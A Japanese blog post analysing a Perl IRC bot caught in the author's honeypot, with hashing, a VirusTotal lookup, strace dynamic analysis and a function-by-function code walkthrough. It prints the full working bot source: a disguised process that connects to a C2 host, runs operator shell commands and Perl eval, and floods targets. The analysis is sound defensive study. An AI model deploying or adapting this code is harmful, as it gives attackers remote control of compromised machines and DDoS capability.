Help us understand the problem. What is going on with this article?

Perl製のマルウェア(IRC Bot)を解析してみた。

More than 1 year has passed since last update.

概要

先日自身が運用しているハニーポットであるt-potが捕獲したPerl製のIRC Botを解析したいと思います。
これまでに何度かPerlで書かれたIRC Botは見てきたのですが、これは比較的ソースコードも少なく読みやすそうだったので記事にすることにしました。

今回のものは以下のリンクにあるソースコードの亜種ではないかと思われました。
https://gist.github.com/tlongren/afe81698cafaafcbe386#file-bot-pl-L4

オリジナルの著者はHiginio O. Ochoa III (aka w0rmer)で、彼は有名なハッカー集団のAnonymousから派生したグループであるCabinCr3wに所属していたそうです、アラバマ州やテキサス州の法執行機関のサイトへの不正侵入の容疑で2012年3月20日にFBIに一度逮捕されているようです。

それはさておき、今回解析するマルウェアのソースコードは以下になります。

#!/usr/bin/perl
my $processo =("crond","cron","[sync_superss]","[atd]");

my @titi = ("index.php?page=","main.php?page=");

my $goni = $titi[rand scalar @titi];

my $linas_max='3';
my $sleep='7';
my @adms=("z", "y" );
my @hostauth=("local");
my @canais=("#y");
chop (my $nick = `uname`);
my $servidor="3.4.5.6";
my $ircname =("g");
my $realname = ("g");
my @ircport = ("7000", "7001", "7002", "7003", "7004", "7005", "7006", "7007", "7008", "7009", "7010", "6000", "6001", "6002", "6003", "6004", "6005", "6006", "6007", "6008", "6009", "6010");
my $porta = $ircport[rand scalar @ircport];
my $VERSAO = '0.5';
$SIG{'INT'} = 'IGNORE';
$SIG{'HUP'} = 'IGNORE';
$SIG{'TERM'} = 'IGNORE';
$SIG{'CHLD'} = 'IGNORE';
$SIG{'PS'} = 'IGNORE';
use IO::Socket;
use Socket;
use IO::Select;
chdir("/tmp");
$servidor="$ARGV[0]" if $ARGV[0];
$0="$processo"."\0"x16;;
my $pid=fork;
exit if $pid;
die "Problema com o fork: $!" unless defined($pid);

our %irc_servers;
our %DCC;
my $dcc_sel = new IO::Select->new();

$sel_cliente = IO::Select->new();
sub sendraw {
  if ($#_ == '1') {
    my $socket = $_[0];
    print $socket "$_[1]\n";
  } else {
      print $IRC_cur_socket "$_[0]\n";
  }
}

sub conectar {
   my $meunick = $_[0];
   my $servidor_con = $_[1];
   my $porta_con = $_[2];

   my $IRC_socket = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>"$servidor_con", PeerPort=>$porta_con) or return(1);
   if (defined($IRC_socket)) {
     $IRC_cur_socket = $IRC_socket;

     $IRC_socket->autoflush(1);
     $sel_cliente->add($IRC_socket);

     $irc_servers{$IRC_cur_socket}{'host'} = "$servidor_con";
     $irc_servers{$IRC_cur_socket}{'porta'} = "$porta_con";
     $irc_servers{$IRC_cur_socket}{'nick'} = $meunick;
     $irc_servers{$IRC_cur_socket}{'meuip'} = $IRC_socket->sockhost;
     nick("$meunick");
     sendraw("USER $ircname ".$IRC_socket->sockhost." $servidor_con :$realname");
     sleep 1;
   }
}
my $line_temp;
while( 1 ) {
   while (!(keys(%irc_servers))) { conectar("$nick", "$servidor", "$porta"); }
   delete($irc_servers{''}) if (defined($irc_servers{''}));
   my @ready = $sel_cliente->can_read(0);
   next unless(@ready);
   foreach $fh (@ready) {
     $IRC_cur_socket = $fh;
     $meunick = $irc_servers{$IRC_cur_socket}{'nick'};
     $nread = sysread($fh, $msg, 4096);
     if ($nread == 0) {
        $sel_cliente->remove($fh);
        $fh->close;
        delete($irc_servers{$fh});
     }
     @lines = split (/\n/, $msg);

     for(my $c=0; $c<= $#lines; $c++) {
       $line = $lines[$c];
       $line=$line_temp.$line if ($line_temp);
       $line_temp='';
       $line =~ s/\r$//;
       unless ($c == $#lines) {
         parse("$line");
       } else {
           if ($#lines == 0) {
             parse("$line");
           } elsif ($lines[$c] =~ /\r$/) {
               parse("$line");
           } elsif ($line =~ /^(\S+) NOTICE AUTH :\*\*\*/) {
               parse("$line");
           } else {
               $line_temp = $line;
           }
       }
      }
   }
}

sub parse {
   my $servarg = shift;
   if ($servarg =~ /^PING \:(.*)/) {
     sendraw("PONG :$1");
   } elsif ($servarg =~ /^\:(.+?)\!(.+?)\@(.+?) PRIVMSG (.+?) \:(.+)/) {
       my $pn=$1; my $hostmask= $3; my $onde = $4; my $args = $5;
       if ($args =~ /^\001VERSION\001$/) {
         notice("$pn", "\001VERSION mIRC v6.16 Khaled Mardam-Bey\001");
       }
       if (grep {$_ =~ /^\Q$hostmask\E$/i } @hostauth) {
       if (grep {$_ =~ /^\Q$pn\E$/i } @adms) {
         if ($onde eq "$meunick"){
           shell("$pn", "$args");
         }
         if ($args =~ /^(\Q$meunick\E|\!say)\s+(.*)/ ) {
            my $natrix = $1;
            my $arg = $2;
            if ($arg =~ /^\!(.*)/) {
              ircase("$pn","$onde","$1") unless ($natrix eq "!bot" and $arg =~ /^\!nick/);
            } elsif ($arg =~ /^\@(.*)/) {
                $ondep = $onde;
                $ondep = $pn if $onde eq $meunick;
                bfunc("$ondep","$1");
            } else {
                shell("$onde", "$arg");
            }
         }
       }
        }
   } elsif ($servarg =~ /^\:(.+?)\!(.+?)\@(.+?)\s+NICK\s+\:(\S+)/i) {
       if (lc($1) eq lc($meunick)) {
         $meunick=$4;
         $irc_servers{$IRC_cur_socket}{'nick'} = $meunick;
       }
   } elsif ($servarg =~ m/^\:(.+?)\s+433/i) {
       nick("$meunick|".int rand(999999));
   } elsif ($servarg =~ m/^\:(.+?)\s+001\s+(\S+)\s/i) {
       $meunick = $2;
       $irc_servers{$IRC_cur_socket}{'nick'} = $meunick;
       $irc_servers{$IRC_cur_socket}{'nome'} = "$1";
       foreach my $canal (@canais) {
         sendraw("JOIN $canal ddosit");
       }
   }
}



sub ircase {
  my ($kem, $printl, $case) = @_;

  if ($case =~ /^join (.*)/) {
     j("$1");
   }

if ($case =~ /^refresh (.*)/) {
my $goni = $titi[rand scalar @titi];
 }

   if ($case =~ /^part (.*)/) {
      p("$1");
   }
   if ($case =~ /^rejoin\s+(.*)/) {
      my $chan = $1;
      if ($chan =~ /^(\d+) (.*)/) {
        for (my $ca = 1; $ca <= $1; $ca++ ) {
          p("$2");
          j("$2");
        }
      } else {
          p("$chan");
          j("$chan");
      }
   }
   if ($case =~ /^op/) {
      op("$printl", "$kem") if $case eq "op";
      my $oarg = substr($case, 3);
      op("$1", "$2") if ($oarg =~ /(\S+)\s+(\S+)/);
   }
   if ($case =~ /^deop/) {
      deop("$printl", "$kem") if $case eq "deop";
      my $oarg = substr($case, 5);
      deop("$1", "$2") if ($oarg =~ /(\S+)\s+(\S+)/);
   }
   if ($case =~ /^msg\s+(\S+) (.*)/) {
      msg("$1", "$2");
   }
   if ($case =~ /^flood\s+(\d+)\s+(\S+) (.*)/) {
      for (my $cf = 1; $cf <= $1; $cf++) {
        msg("$2", "$3");
      }
   }
   if ($case =~ /^ctcp\s+(\S+) (.*)/) {
      ctcp("$1", "$2");
   }
   if ($case =~ /^ctcpflood\s+(\d+)\s+(\S+) (.*)/) {
      for (my $cf = 1; $cf <= $1; $cf++) {
        ctcp("$2", "$3");
      }
   }
   if ($case =~ /^nick (.*)/) {
      nick("$1");
   }
   if ($case =~ /^connect\s+(\S+)\s+(\S+)/) {
       conectar("$2", "$1", 6667);
   }
   if ($case =~ /^raw (.*)/) {
      sendraw("$1");
   }
   if ($case =~ /^eval (.*)/) {
     eval "$1";
   }
}

sub shell {
  my $printl=$_[0];
  my $comando=$_[1];
  if ($comando =~ /cd (.*)/) {
    chdir("$1") || msg("$printl", "No such file or directory");
    return;
  }
  elsif ($pid = fork) {
     waitpid($pid, 0);
  } else {
      if (fork) {
         exit;
       } else {
           my @resp=`$comando 2>&1 3>&1`;
           my $c=0;
           foreach my $linha (@resp) {
             $c++;
             chop $linha;
             sendraw($IRC_cur_socket, "PRIVMSG $printl :$linha");
             if ($c == "$linas_max") {
               $c=0;
               sleep $sleep;
             }
           }
           exit;
       }
  }
}


sub ctcp {
   return unless $#_ == 1;
   sendraw("PRIVMSG $_[0] :\001$_[1]\001");
}
sub msg {
   return unless $#_ == 1;
   sendraw("PRIVMSG $_[0] :$_[1]");
}
sub notice {
   return unless $#_ == 1;
   sendraw("NOTICE $_[0] :$_[1]");
}
sub op {
   return unless $#_ == 1;
   sendraw("MODE $_[0] +o $_[1]");
}
sub deop {
   return unless $#_ == 1;
   sendraw("MODE $_[0] -o $_[1]");
}
sub j { &join(@_); }
sub join {
   return unless $#_ == 0;
   sendraw("JOIN $_[0]");
}
sub p { part(@_); }
sub part {
  sendraw("PART $_[0]");
}
sub nick {
  return unless $#_ == 0;
  sendraw("NICK $_[0]");
}
sub quit {
  sendraw("QUIT :$_[0]");
}

では解析の方をしていきたいと思います。

解析

表層解析

まずハッシュを取得します。

$ md5sum perl-irc-bot.pl
31351e65b18d881317e3087a68502430  perl-irc-bot.pl

次に取得したハッシュをVirus Totalに投げます。
https://www.virustotal.com

過去にスキャンされた結果が存在すればその調査結果が、過去にスキャンがかけられていない場合は新たにスキャンを行いその結果が取得できます。
以下が今回調査対象としているファイルのスキャン結果です。

キャプチャ.PNG

しっかりと黒だというとがわかります。

気になったのは以下の箇所。

キャプチャ2.PNG

HistoryのFirst Submissionの部分が2018年の2月になっています。
まだ最初の投稿から1カ月しか経っていません。
自身のハニーポットでも捕獲したのは最近だと考えると新たに出てきたものに間違いないでしょう。

動的解析

では次に実際に実行し動作を見ていきたいと思います。
自分はさくらのクラウドを使用し以下のスペックでインスタンスを作成しました。

CPU : 2 core
Memory : 4GB
Disk : 20GB

使用されるシステムコールを記録するためにstraceで処理を追っていきます。
用いるのは以下のコマンドです。

sudo strace -t -ff -s 1024 -yy -o xor.log perl perl-irc-bot.pl &

実行後30分程度放置し、作成されたログファイルは以下になります。

$ ls -l
total 164
-rwxrwxr-x 1 ubuntu ubuntu  7353 Mar  1 09:43 perl-ircbot.pl
-rw-rw-r-- 1 ubuntu ubuntu 95875 Mar  1 09:47 xor.log.1516
-rw-rw-r-- 1 ubuntu ubuntu  5619 Mar  1 09:47 xor.log.1517
-rw-rw-r-- 1 ubuntu ubuntu 45658 Mar  1 11:58 xor.log.1518

上記を見ると他のマルウェアを動作させたときに比べて作成されたログが比較的少ないように思えました。
少しログをあさっていると最後に変更があったログファイルにその原因が記されていました。

$ cat xor.log.1518
09:47:12 set_robust_list(0x7fd3a9b97a20, 24) = 0
09:47:12 rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
09:47:12 socket(PF_INET, SOCK_STREAM, IPPROTO_TCP) = 3
09:47:12 ioctl(3<socket:[10000]>, SNDCTL_TMR_TIMEBASE or SNDRV_TIMER_IOCTL_NEXT_DEVICE or TCGETS, 0x7ffea4cf1eb0) = -1 ENOTTY (Inappropriate ioctl for device)
09:47:12 lseek(3<socket:[10000]>, 0, SEEK_CUR) = -1 ESPIPE (Illegal seek)
09:47:12 ioctl(3<socket:[10000]>, SNDCTL_TMR_TIMEBASE or SNDRV_TIMER_IOCTL_NEXT_DEVICE or TCGETS, 0x7ffea4cf1eb0) = -1 ENOTTY (Inappropriate ioctl for device)
09:47:12 lseek(3<socket:[10000]>, 0, SEEK_CUR) = -1 ESPIPE (Illegal seek)
09:47:12 fcntl(3<socket:[10000]>, F_SETFD, FD_CLOEXEC) = 0
09:47:12 connect(3, {sa_family=AF_INET, sin_port=htons(6007), sin_addr=inet_addr("3.4.5.6")}, 16) = -1 ETIMEDOUT (Connection timed out)

  :
(省略)
  :

上記を見ると09:47:12に実行されているconnect関数でタイムアウトしています。
IPアドレスにはC2サーバと思しきIPアドレスが与えられており(後述)、当該サーバが動作していないように思えます。
connect関数の失敗が原因でそれ以降の動作が行えずログの量も比較的少ないものになったのでしょう。

これ以上走らせても上記以上の結果を得られそうになかったのでここで動的解析は終えました。

静的解析

ここからはソースコードを読んで処理を追っていきます。
当該マルウェアのソースコードは最初の変数の初期化と16個の関数(Perlではサブルーチンと呼ばれるらしい)、プロセスを実行し続けるためのwhile文で構成されています。
先頭から見ていきたいのですが、わかりやすさを優先し特定の関数からまずは見ていきたいと思います。

まずは以下の個所。
ソースコード末尾付近の小さな関数群です。

sub ctcp {
   return unless $#_ == 1;
   sendraw("PRIVMSG $_[0] :\001$_[1]\001");
}
sub msg {
   return unless $#_ == 1;
   sendraw("PRIVMSG $_[0] :$_[1]");
}
sub notice {
   return unless $#_ == 1;
   sendraw("NOTICE $_[0] :$_[1]");
}
sub op {
   return unless $#_ == 1;
   sendraw("MODE $_[0] +o $_[1]");
}
sub deop {
   return unless $#_ == 1;
   sendraw("MODE $_[0] -o $_[1]");
}
sub j { &join(@_); }
sub join {
   return unless $#_ == 0;
   sendraw("JOIN $_[0]");
}
sub p { part(@_); }
sub part {
  sendraw("PART $_[0]");
}
sub nick {
  return unless $#_ == 0;
  sendraw("NICK $_[0]");
}
sub quit {
  sendraw("QUIT :$_[0]");
}

上記では小さな関数をいくつも定義しています。
全ての関数に共通していることは内部でsendrawという関数を呼び出しているということです。
後述するのですがsendrawとはC2サーバにデータを送る関数で、ここではそれぞれの関数で文字列を作成しsendraw関数を用いて送信しています。

では次にsendraw関数を見ていきたいと思います。

sub sendraw {
  if ($#_ == '1') {
    my $socket = $_[0];
    print $socket "$_[1]\n";
  } else {
      print $IRC_cur_socket "$_[0]\n";
  }
}

上記では引数のチェックを行い、ソケットが指定されている場合は当該ソケットに対して文字列を送信し、されていない場合はカレントソケット(後述)に向かって文字列が送られるという処理になっています。

次にC2サーバとの接続処理を見ていきます。

sub conectar {
   my $meunick = $_[0];
   my $servidor_con = $_[1];
   my $porta_con = $_[2];

   my $IRC_socket = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>"$servidor_con", PeerPort=>$porta_con) or return(1);
   if (defined($IRC_socket)) {
     $IRC_cur_socket = $IRC_socket;

     $IRC_socket->autoflush(1);
     $sel_cliente->add($IRC_socket);

     $irc_servers{$IRC_cur_socket}{'host'} = "$servidor_con";
     $irc_servers{$IRC_cur_socket}{'porta'} = "$porta_con";
     $irc_servers{$IRC_cur_socket}{'nick'} = $meunick;
     $irc_servers{$IRC_cur_socket}{'meuip'} = $IRC_socket->sockhost;
     nick("$meunick");
     sendraw("USER $ircname ".$IRC_socket->sockhost." $servidor_con :$realname");
     sleep 1;
   }
}

上記の関数は引数を3つ取ります。
ニックネーム、C2サーバのホスト名、そしてポート番号です。
ソケットの作成に成功した場合当該ソケットをカレントソケットとして定義し、その後ソケット情報を一覧に追加します。
最後にC2サーバにユーザ情報を送信し処理はすべてとなります。

次はメインのループであるwhile文を見ていきたいと思います。

my $line_temp;
while( 1 ) {
   while (!(keys(%irc_servers))) { conectar("$nick", "$servidor", "$porta"); }
   delete($irc_servers{''}) if (defined($irc_servers{''}));
   my @ready = $sel_cliente->can_read(0);
   next unless(@ready);
   foreach $fh (@ready) {
     $IRC_cur_socket = $fh;
     $meunick = $irc_servers{$IRC_cur_socket}{'nick'};
     $nread = sysread($fh, $msg, 4096);
     if ($nread == 0) {
        $sel_cliente->remove($fh);
        $fh->close;
        delete($irc_servers{$fh});
     }
     @lines = split (/\n/, $msg);

     for(my $c=0; $c<= $#lines; $c++) {
       $line = $lines[$c];
       $line=$line_temp.$line if ($line_temp);
       $line_temp='';
       $line =~ s/\r$//;
       unless ($c == $#lines) {
         parse("$line");
       } else {
           if ($#lines == 0) {
             parse("$line");
           } elsif ($lines[$c] =~ /\r$/) {
               parse("$line");
           } elsif ($line =~ /^(\S+) NOTICE AUTH :\*\*\*/) {
               parse("$line");
           } else {
               $line_temp = $line;
           }
       }
      }
   }
}

先ほどの関数とは違い少し処理が長いので分割してみていきます。
まずはループ内の最初のwhile文です、ソースコードは以下になります。

   while (!(keys(%irc_servers))) { conectar("$nick", "$servidor", "$porta"); }
   delete($irc_servers{''}) if (defined($irc_servers{''}));
   my @ready = $sel_cliente->can_read(0);
   next unless(@ready);

接続を最低1つ確立し、データの読み出し可能なソケットを探します。
読み出し可能なソケットを取得できなければまたループを再開し接続を生成するループ(上記では1行目)から処理が走ります。

次です。

   foreach $fh (@ready) {
     $IRC_cur_socket = $fh;
     $meunick = $irc_servers{$IRC_cur_socket}{'nick'};
     $nread = sysread($fh, $msg, 4096);
     if ($nread == 0) {
        $sel_cliente->remove($fh);
        $fh->close;
        delete($irc_servers{$fh});
     }
     @lines = split (/\n/, $msg);

先ほど取得した読み出し可能なソケットをforeachにかけ、順に処理していきます。
データ取得に失敗したソケットは削除し、データが読み出せた場合は取得した文字列を改行で分割し変数に代入します。

続きになります。

   for(my $c=0; $c<= $#lines; $c++) {
       $line = $lines[$c];
       $line=$line_temp.$line if ($line_temp);
       $line_temp='';
       $line =~ s/\r$//;
       unless ($c == $#lines) {
         parse("$line");
       } else {
           if ($#lines == 0) {
             parse("$line");
           } elsif ($lines[$c] =~ /\r$/) {
               parse("$line");
           } elsif ($line =~ /^(\S+) NOTICE AUTH :\*\*\*/) {
               parse("$line");
           } else {
               $line_temp = $line;
           }
       }
      }
   }

上記ではC2サーバから取得した文字列を改行で分割したもの($lines)を扱っています。
処理対象となる文字列を発見した場合はparse関数の引数として渡し当該関数を実行しています。

では次に実際取得した文字列を処理しているparse関数を見ていきたいと思います。
ここからは実際に命令文字列を処理するのですがIRCの用語や命令のやり取りを理解しているとよりソースコードが読みやすいと思います。
主な命令文字列のやり取りを以下に記します。

  • NOTICE
自動応答(ボット)等に利用される
  • PRIVMSG
会話の発言に対して利用される。フォーマットは以下。
PRIVMSG #チャンネル名 :発言内容
  • CTPC
クライアントへ問い合わせを行ったりする。フォーマットは以下。
PRIVMSG #チャンネル名(orニックネーム) :^Aversion^A
^A (0x01) :制御コード

では実際に関数の処理を見ていきたいと思います。

sub parse {
   my $servarg = shift;
   if ($servarg =~ /^PING \:(.*)/) {
     sendraw("PONG :$1");
   } elsif ($servarg =~ /^\:(.+?)\!(.+?)\@(.+?) PRIVMSG (.+?) \:(.+)/) {
       my $pn=$1; my $hostmask= $3; my $onde = $4; my $args = $5;
       if ($args =~ /^\001VERSION\001$/) {
         notice("$pn", "\001VERSION mIRC v6.16 Khaled Mardam-Bey\001");
       }
       if (grep {$_ =~ /^\Q$hostmask\E$/i } @hostauth) {
       if (grep {$_ =~ /^\Q$pn\E$/i } @adms) {
         if ($onde eq "$meunick"){
           shell("$pn", "$args");
         }
         if ($args =~ /^(\Q$meunick\E|\!say)\s+(.*)/ ) {
            my $natrix = $1;
            my $arg = $2;
            if ($arg =~ /^\!(.*)/) {
              ircase("$pn","$onde","$1") unless ($natrix eq "!bot" and $arg =~ /^\!nick/);
            } elsif ($arg =~ /^\@(.*)/) {
                $ondep = $onde;
                $ondep = $pn if $onde eq $meunick;
                bfunc("$ondep","$1");
            } else {
                shell("$onde", "$arg");
            }
         }
       }
        }
   } elsif ($servarg =~ /^\:(.+?)\!(.+?)\@(.+?)\s+NICK\s+\:(\S+)/i) {
       if (lc($1) eq lc($meunick)) {
         $meunick=$4;
         $irc_servers{$IRC_cur_socket}{'nick'} = $meunick;
       }
   } elsif ($servarg =~ m/^\:(.+?)\s+433/i) {
       nick("$meunick|".int rand(999999));
   } elsif ($servarg =~ m/^\:(.+?)\s+001\s+(\S+)\s/i) {
       $meunick = $2;
       $irc_servers{$IRC_cur_socket}{'nick'} = $meunick;
       $irc_servers{$IRC_cur_socket}{'nome'} = "$1";
       foreach my $canal (@canais) {
         sendraw("JOIN $canal ddosit");
       }
   }
}

これも処理が少し長いので分割したいと思います。

まず最初の1行です。

   my $servarg = shift;
   if ($servarg =~ /^PING \:(.*)/) {
     sendraw("PONG :$1");
   }

これはPINGの応答の処理です、PINGという文字列を受けてPONGという文字列を返しています。

次です。

 elsif ($servarg =~ /^\:(.+?)\!(.+?)\@(.+?) PRIVMSG (.+?) \:(.+)/) {
       my $pn=$1; my $hostmask= $3; my $onde = $4; my $args = $5;
       if ($args =~ /^\001VERSION\001$/) {
         notice("$pn", "\001VERSION mIRC v6.16 Khaled Mardam-Bey\001");
       }
       if (grep {$_ =~ /^\Q$hostmask\E$/i } @hostauth) {
       if (grep {$_ =~ /^\Q$pn\E$/i } @adms) {
         if ($onde eq "$meunick"){
           shell("$pn", "$args");
         }
         if ($args =~ /^(\Q$meunick\E|\!say)\s+(.*)/ ) {
            my $natrix = $1;
            my $arg = $2;
            if ($arg =~ /^\!(.*)/) {
              ircase("$pn","$onde","$1") unless ($natrix eq "!bot" and $arg =~ /^\!nick/);
            } elsif ($arg =~ /^\@(.*)/) {
                $ondep = $onde;
                $ondep = $pn if $onde eq $meunick;
                bfunc("$ondep","$1");
            } else {
                shell("$onde", "$arg");
            }
         }
       }
        }
   }

上記の部分はすこし分かりづらいですね、実際に命令を受けて処理を行った時のログをstrace等で取れればよかったのですが・・・
PRIVMSGという文字列を正規表現で検索しているので発言されたメッセージを処理することが分かります。
ここでは正規表現で引っかけた文字列をircaseやshellという関数に渡して実行しています。

次です。

   elsif ($servarg =~ /^\:(.+?)\!(.+?)\@(.+?)\s+NICK\s+\:(\S+)/i) {
       if (lc($1) eq lc($meunick)) {
         $meunick=$4;
         $irc_servers{$IRC_cur_socket}{'nick'} = $meunick;
       }
   } elsif ($servarg =~ m/^\:(.+?)\s+433/i) {
       nick("$meunick|".int rand(999999));
   } elsif ($servarg =~ m/^\:(.+?)\s+001\s+(\S+)\s/i) {
       $meunick = $2;
       $irc_servers{$IRC_cur_socket}{'nick'} = $meunick;
       $irc_servers{$IRC_cur_socket}{'nome'} = "$1";
       foreach my $canal (@canais) {
         sendraw("JOIN $canal ddosit");
       }
   }
}

ここも先ほどと同じですね。
取得した文字列から処理を分岐し関数を呼び出しています。
ニックネームの更新や生成、チャンネルへの参加等の処理を行っています。

実際の通信ログが取得できなかったので今回は粗い説明になりましたが、上記のソースコードをしっかりと読み込めばどう行った命令文字列が飛んでくるかも見えてくると思います。
ここで覚えておいて欲しいのはparse関数が命令文字列を解釈してその処理を別の関数に移譲する関数であるということです、それだけ理解しておけば処理を追っていく分には問題ないかと思います。

次はircase関数です。

sub ircase {
  my ($kem, $printl, $case) = @_;

  if ($case =~ /^join (.*)/) {
     j("$1");
   }

if ($case =~ /^refresh (.*)/) {
my $goni = $titi[rand scalar @titi];
 }

   if ($case =~ /^part (.*)/) {
      p("$1");
   }
   if ($case =~ /^rejoin\s+(.*)/) {
      my $chan = $1;
      if ($chan =~ /^(\d+) (.*)/) {
        for (my $ca = 1; $ca <= $1; $ca++ ) {
          p("$2");
          j("$2");
        }
      } else {
          p("$chan");
          j("$chan");
      }
   }
   if ($case =~ /^op/) {
      op("$printl", "$kem") if $case eq "op";
      my $oarg = substr($case, 3);
      op("$1", "$2") if ($oarg =~ /(\S+)\s+(\S+)/);
   }
   if ($case =~ /^deop/) {
      deop("$printl", "$kem") if $case eq "deop";
      my $oarg = substr($case, 5);
      deop("$1", "$2") if ($oarg =~ /(\S+)\s+(\S+)/);
   }
   if ($case =~ /^msg\s+(\S+) (.*)/) {
      msg("$1", "$2");
   }
   if ($case =~ /^flood\s+(\d+)\s+(\S+) (.*)/) {
      for (my $cf = 1; $cf <= $1; $cf++) {
        msg("$2", "$3");
      }
   }
   if ($case =~ /^ctcp\s+(\S+) (.*)/) {
      ctcp("$1", "$2");
   }
   if ($case =~ /^ctcpflood\s+(\d+)\s+(\S+) (.*)/) {
      for (my $cf = 1; $cf <= $1; $cf++) {
        ctcp("$2", "$3");
      }
   }
   if ($case =~ /^nick (.*)/) {
      nick("$1");
   }
   if ($case =~ /^connect\s+(\S+)\s+(\S+)/) {
       conectar("$2", "$1", 6667);
   }
   if ($case =~ /^raw (.*)/) {
      sendraw("$1");
   }
   if ($case =~ /^eval (.*)/) {
     eval "$1";
   }
}

上記の関数は先ほど解説を行ったparse関数から呼ばれています。
正規表現を見ると取得した文字列を解釈し、命令文字列に対する処理を行なっているのがわかります。
実装されているめ命令は実に様々でチャンネルに参加するjoinや退出するpart、C2サーバと接続するconnect、任意のPerlスクリプトを実行するevalなどC2サーバからの命令に柔軟に対応できます。

次が最後の関数になります。

sub shell {
  my $printl=$_[0];
  my $comando=$_[1];
  if ($comando =~ /cd (.*)/) {
    chdir("$1") || msg("$printl", "No such file or directory");
    return;
  }
  elsif ($pid = fork) {
     waitpid($pid, 0);
  } else {
      if (fork) {
         exit;
       } else {
           my @resp=`$comando 2>&1 3>&1`;
           my $c=0;
           foreach my $linha (@resp) {
             $c++;
             chop $linha;
             sendraw($IRC_cur_socket, "PRIVMSG $printl :$linha");
             if ($c == "$linas_max") {
               $c=0;
               sleep $sleep;
             }
           }
           exit;
       }
  }
}

上記の関数は文字通りシェルコマンドを実行する関数です。
引数にメッセージとコマンドを取っています。
指定されたコマンドがcdの場合はそれを実行しエラー処理を行なっており、それ以外はforkし処理を行なっています。
親プロセスはそのまま子プロセスの終了を待ち、子プロセスの場合は指定されたコマンドを実行し出力結果をC2サーバに送信しています。

これで静的解析は以上になります。

まとめ

非常に軽量で且つ豊富な機能が実行されているIRC Botでした。
C2サーバが死んでおり通信や実際の挙動を確認できなかったので非常に残念ですが、静的解析だけでも良い学習材料になったと思います。
実際のところ類似したPerl製のIRC Botというのは非常に多くの種類が今も稼働しており手元のハニーポットでもそれが確認できています。

もしこれのきっかけにハニーポットに興味を持った方は以下のリンクでt-potというハニーポットを紹介しているので構築してみてください。
https://qiita.com/__k_onishi__/items/2d04ec4ea86a09d136ea

最後までお付き合いいただきありがとうございました。

参考文献

kazu_onis
低レイヤ好きのソフトウェアエンジニア。 SAKURA Internet Inc. /Linux/Kernel/CPU/Container/Virtualization/Pwn/C/Assembly
https://k-onishi.github.io/
Why not register and get more from Qiita?
  1. We will deliver articles that match you
    By following users and tags, you can catch up information on technical fields that you are interested in as a whole
  2. you can read useful information later efficiently
    By "stocking" the articles you like, you can search right away